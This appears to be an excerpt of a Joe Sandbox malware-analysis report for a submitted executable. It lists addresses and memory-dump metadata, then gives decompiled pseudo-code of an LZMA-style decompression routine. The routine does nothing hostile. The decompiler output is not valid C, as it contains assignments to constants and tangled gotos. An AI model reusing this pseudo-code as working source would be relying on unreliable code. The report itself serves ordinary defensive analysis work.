0x00000000
0x0040682d
0x0040682b
0x004067b1
0x004067b4
0x004067b6
0x004067b9
0x00000000
0x00000000
0x00406518
0x00406518
0x0040651c
0x00406b61
0x00000000
0x00406b61
0x00406522
0x00406525
0x00406528
0x0040652b
0x0040652e
0x00406531
0x00406534
0x00406536
0x00406539
0x0040653c
0x0040653f
0x00406541
0x00406541
0x00406541
0x00000000
0x00000000
0x004066a3
0x004066a3
0x004066a7
0x00406b6d
0x00000000
0x00406b6d
0x004066ad
0x004066b0
0x004066b3
0x004066b6
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066be
0x004066c1
0x004066c4
0x004066c7
0x004066ca
0x004066cb
0x004066cd
0x004066cd
0x004066cd
0x004066d0
0x004066d3
0x004066d6
0x004066d9
0x004066d9
0x004066d9
0x004066dc
0x004066de
0x004066de
0x00000000
0x00000000
0x00406920
0x00406920
0x00406920
0x00406924
0x00000000
0x00000000
0x0040692a
0x0040692d
0x00406930
0x00406933
0x00406935
0x00406935
0x00406935
0x00406938
0x0040693b
0x0040693e
0x00406941
0x00406944
0x00406947
0x00406948
0x0040694a
0x0040694a
0x0040694a
0x0040694d
0x00406950
0x00406953
0x00406956
0x00406959
0x0040695d
0x0040695f
0x00406962
0x00000000
0x00406964
0x004066e1
0x004066e1
0x00000000
0x004066e1
0x00406962
0x00406b97
0x00000000
0x00000000
0x004061c6
0x00406bce
0x00406bce
0x00000000
0x00406bce
0x00406a1b
0x004069a2
0x0040699f
0x00000000
0x004065d6

Memory Dump Source

Source File: 00000000.00000002.302029421.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.302004824.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302049001.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302057343.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302063724.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302177827.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302199848.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.302210667.000000000042D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_qHpeBvr9cR.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8f445da75e9a74604d226408adfd8c7b2685a98931b912d90ec5833448e5fd83
Instruction ID: 1046eeffc13e12efe39df9970ac10e2b765b46b26c22898380a8ab994a27db31
Opcode Fuzzy Hash: 8f445da75e9a74604d226408adfd8c7b2685a98931b912d90ec5833448e5fd83
Instruction Fuzzy Hash: 307124B1D00228CBDF24CF98C8447ADBBF1FB44305F15816AD856BB281D778AA96DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004066F0 Relevance: 5.2, APIs: 4, Instructions: 170
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004066F0() {
				unsigned short _t531;
				signed int _t532;
				void _t533;
				signed int _t534;
				signed int _t535;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						 *(_t613 - 0x84) = 0xb;
						_t606 =  *(_t613 - 4) + 0x1c8 +  *(_t613 - 0x38) * 2;
						goto L132;
					} else {
						__eax =  *(__ebp - 0x28);
						L88:
						 *(__ebp - 0x2c) = __eax;
						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
						L89:
						__eax =  *(__ebp - 4);
						 *(__ebp - 0x80) = 0x15;
						__eax =  *(__ebp - 4) + 0xa68;
						 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
						L69:
						 *(__ebp - 0x84) = 0x12;
						while(1) {
							L132:
							 *(_t613 - 0x54) = _t606;
							while(1) {
								L133:
								_t531 =  *_t606;
								_t589 = _t531 & 0x0000ffff;
								_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
								if( *(_t613 - 0xc) >= _t565) {
									 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
									 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
									 *(_t613 - 0x40) = 1;
									_t532 = _t531 - (_t531 >> 5);
									 *_t606 = _t532;
								} else {
									 *(_t613 - 0x10) = _t565;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									 *_t606 = (0x800 - _t589 >> 5) + _t531;
								}
								if( *(_t613 - 0x10) >= 0x1000000) {
									goto L139;
								}
								L137:
								if( *(_t613 - 0x6c) == 0) {
									 *(_t613 - 0x88) = 5;
									L170:
									_t568 = 0x22;
									memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
									_t535 = 0;
									L172:
									return _t535;
								}
								 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
								 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
								 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
								 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
								L139:
								_t533 =  *(_t613 - 0x84);
								while(1) {
									 *(_t613 - 0x88) = _t533;
									while(1) {
										L1:
										_t534 =  *(_t613 - 0x88);
										if(_t534 > 0x1c) {
											break;
										}
										switch( *((intOrPtr*)(_t534 * 4 +  &M00406BD6))) {
											case 0:
												if( *(_t613 - 0x6c) == 0) {
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t534 =  *( *(_t613 - 0x70));
												if(_t534 > 0xe1) {
													goto L171;
												}
												_t538 = _t534 & 0x000000ff;
												_push(0x2d);
												asm("cdq");
												_pop(_t570);
												_push(9);
												_pop(_t571);
												_t609 = _t538 / _t570;
												_t540 = _t538 % _t570 & 0x000000ff;
												asm("cdq");
												_t604 = _t540 % _t571 & 0x000000ff;
												 *(_t613 - 0x3c) = _t604;
												 *(_t613 - 0x1c) = (1 << _t609) - 1;
												 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t540 / _t571) - 1;
												_t612 = (0x300 << _t604 + _t609) + 0x736;
												if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
													L10:
													if(_t612 == 0) {
														L12:
														 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
														 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
														goto L15;
													} else {
														goto L11;
													}
													do {
														L11:
														_t612 = _t612 - 1;
														 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
													} while (_t612 != 0);
													goto L12;
												}
												if( *(_t613 - 4) != 0) {
													GlobalFree( *(_t613 - 4));
												}
												_t534 = GlobalAlloc(0x40, 0x600); // executed
												 *(_t613 - 4) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
													goto L10;
												}
											case 1:
												L13:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 1;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
												 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
												_t45 = _t613 - 0x48;
												 *_t45 =  *(_t613 - 0x48) + 1;
												__eflags =  *_t45;
												L15:
												if( *(_t613 - 0x48) < 4) {
													goto L13;
												}
												_t546 =  *(_t613 - 0x40);
												if(_t546 ==  *(_t613 - 0x74)) {
													L20:
													 *(_t613 - 0x48) = 5;
													 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
													goto L23;
												}
												 *(_t613 - 0x74) = _t546;
												if( *(_t613 - 8) != 0) {
													GlobalFree( *(_t613 - 8));
												}
												_t534 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
												 *(_t613 - 8) = _t534;
												if(_t534 == 0) {
													goto L171;
												} else {
													goto L20;
												}
											case 2:
												L24:
												_t553 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
												 *(_t613 - 0x84) = 6;
												 *(_t613 - 0x4c) = _t553;
												_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t553) * 2;
												L132:
												 *(_t613 - 0x54) = _t606;
												goto L133;
											case 3:
												L21:
												__eflags =  *(_t613 - 0x6c);
												if( *(_t613 - 0x6c) == 0) {
													 *(_t613 - 0x88) = 3;
													goto L170;
												}
												 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
												_t67 = _t613 - 0x70;
												 *_t67 =  &(( *(_t613 - 0x70))[1]);
												__eflags =  *_t67;
												 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
